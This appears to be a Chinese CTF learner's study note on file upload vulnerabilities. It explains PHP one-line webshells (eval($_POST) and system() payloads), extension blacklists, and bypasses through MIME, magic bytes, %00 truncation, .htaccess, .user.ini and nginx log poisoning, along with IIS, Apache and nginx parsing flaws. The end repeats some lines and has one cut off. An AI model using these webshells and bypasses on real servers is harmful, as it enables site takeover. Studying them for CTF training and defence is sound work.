姓名:飞羽 CTF菜菜一枚
ctfhub:https://www.ctfhub.com
pwnthebox:https://insider.pwnthebox.com
ctfshow:https://ctf.show
burp、Antsword、PHPstudy、各脚本
链接:https://download.csdn.net/download/qq_52342676/85199599
当一个网站或软件拥有可以向服务器或其他客户端传输文件数据的 功能时,若传输时不加以限制,可以任意的传输病毒或木马文件,或者通过某种绕过手段达到该传输目的的,这就会产生文件上传漏洞。通常攻击者上传的文件是以控制网站为目的的病毒文件,该漏洞还会和解析漏洞相结合进行联合攻击。
一句木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。黑客多在注册信息的电子邮箱或者个人主页等中运行该木马。顾名思义是执行恶意指令的木马,通过技术手段上传到指定服务器上并可以正常访问。
用最为常见的php一句话木马为例,为php固定规范写法,@再php中含义为后面如果执行错误不会报错,
eval()
函数表示括号里的语句全做代码执行,$_POST['password']
表示从页面中以post方式获取变量password的值。
multipart/form-data是一种规范,统一表达文件上传请求的格式。
boundary 用来分割数据
Content-Disposition 传递文件信息
Content-Type 标记文件类型
text/plain 文本类型
image/jpeg 图片格式
application/octet-stream 脚本类型
webshell就是以asp、php、jsp或者cgj等网页文件形式存在的一种命令执行 环境,也可以将其称做为一种网页后门。
由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具
攻击者可以利用 webshell从而达到长期控制网站服务器的目的,并获得执行 操作权
攻击者上传的文件和普通用户的当然是不同的,为了达到控制网站的目的,攻击者需要上传网 站后门也就是webshell。
就是通过前端技术,在浏览器(B/S模式中的B(browser)端)上面可以进行简单的数据检查。
1.php后缀名大小写
2.php别名:php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名)
3.配合.htaccess或.user.ini
4.双写后缀
array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");上传的文件后缀名在列表内禁止上传。包括了所有的执行脚本。
1.MIME绕过:MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。
常见的MME类型,例如:
超文本标记语言文本 .html,html text/htm
普通文本 .txt text/plain
RTF文本. rtf application/rtf
GIF图形 .gif image/gif
JPEG图形 . jpg image/jpeg
2.文件头检查:文件头检查是使用对于 文件内容 的验证机制,这种方法利用的是:每一个特定类型的文件都会有不太一样的开头或者标志位来表明它们的文件类型,也就是文件幻数。文件幻数:可以用来标记文件 或者协议的格式 ,很多文件都有幻数标志来表明该文件的格式。
3.00截断:PHP 内核是 C 实现的,使用了 C 中的字符处理函数,在连接字符串时,0 字节也就是 x00 会作为结束符,所以只要加入一个 0 字节,就可以截断字符串,0 经过 URL 编码后为 %00。php版本小于5.3.4。
htaccess(伪静态文件)文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。.htaccess 默认不支持 nginx,设置后支持。
上传模块,黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。htaccess文件的作用是可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。在htaccess里写入SetHandlerapplication/x-httpd-php则可以文件重写成php文件。要htaccess的规则生效则需要在apache开启rewrite重写模块,因为apache是多数都开启这个模块,所以规则一般都生效。
先上传一个.htaccess文件,文件内容如下:
SetHandler application/x-httpd-php
这段内容的作用是使所有的文件都会被解析为php文件 再上传一个不被网站限制的木马文件,格式不限,如22.jpg
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini(是防止脚本跨目录执行的 不是防止ftp)和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
auto_prepend_file=22.jpg
让所有当前目录下可执行php文件包含22.jpg
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。
绕过方法:
1.配合条件竞争漏洞:
竞争条件是指多个线程在没有进行锁操作或者同步操作的情况下同时访问同一个共享代码,变量,文件等,运行的结果依赖于不同线程访问数据的顺序。
2.配合文件包含漏洞:
将一句话木马插入到网站二次处理后的图片中,也就是将二次渲染后保留的图片和一句话木马制作成图片马,再配合文件包含漏洞解析图片马中的代码,获取webshell。
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess
文件二次渲染:
1、判断上传前和上传后的文件大小及内容
2、判断上传后的文件返回数据包内容
ctfshow(154.155.156.157.158.159.160)
短标签
echo ' ';?> //前提是开启配置参数short_open_tags=on
=(表达式)?> //不需 要开启参数设置
<% echo ' ';%> //前提是 开启配置参数 asp_tags=on
//不需要修改参数开关
.user.ini:auto_prepend_file=2.png
22.png:=eval($_POST{a});?>
22.png: =system('tac ../fl*')?>
22.png: echotac /var/www/html/f*?>
160
包含默认日志,日志记录 UA 头,UA 头写后门代码
22.png:=include"/var/lo"."g/nginx/access.lo"."g"?>
ctfshow (161)
文件头部检测是否为图片格式文件
.user.ini:GIF89a auto_prepend_file=22.png
22.png:GIF89a =include"/var/lo"."g/nginx/access.lo"."g"?>
ctfshow(164.165)
get 0=system
post 1=tac flag.php
1、先上传 jpg 正常,返回包发现渲染 2、上传 jpg 渲染后保存,生成带代码图片
调用执行:php jpg.php 1.jpg
ctfshow(168.169.170)
169 170 日志包含
构造.user.ini 利用条件:上传 index.php 内容随意
上传.user.ini 包含日志:
auto_prepend_file=/var/log/nginx/access.log
访问地址带后门UA头写入日志:
=eval($_POST[a]);?>
大多数为Windows server 2003,网站比较古老,如果要支持aspx,需要安装.NET框架
1.1- 利用2003系统的系统特性,但凡出现 \/.:;* 文件名的后面都会被舍弃
形式:www.xxx.com/xx.asp;.jpg
1.2-凡是文件名是apx结尾的,里面的任何文件都会被当作脚本语言解析
1.3-除了asp、aspx以外,还有cer、cdx、asa 的后缀都可以被当作asp或者aspx脚本语言解析
形式:mamu.cer muma.cdx mamu.asa
1-muma.php.xxx.aaa 从左往右解析执行
# Nginx和 IIS7.5 都是因为开启了CGI.FIX_PATHINFO参数,默认是以CGI的方式支持PHP解析的
1- www.xxxx.com/1.jpg/1.php
2- www.xxxx.com/1.jpg%00.php
3- www.xxxx.com/1.jpg/%20\0.php
# Nginx和 IIS7.5 都是因为开启了CGI.FIX_PATHINFO参数,默认是以CGI的方式支持PHP解析的
1-在任意后缀后面加上x.php
形式:www.xxx.com/logo.jpg/x.php
www.xxx.com/logo.txt/x.php
HP解析的
1- www.xxxx.com/1.jpg/1.php
2- www.xxxx.com/1.jpg%00.php
3- www.xxxx.com/1.jpg/%20\0.php
# Nginx和 IIS7.5 都是因为开启了CGI.FIX_PATHINFO参数,默认是以CGI的方式支持PHP解析的
1-在任意后缀后面加上x.php
形式:www.xxx.com/logo.jpg/x.php
www.xxx.com/logo.txt/x.php
www.xxx.com/logo.doc/x.php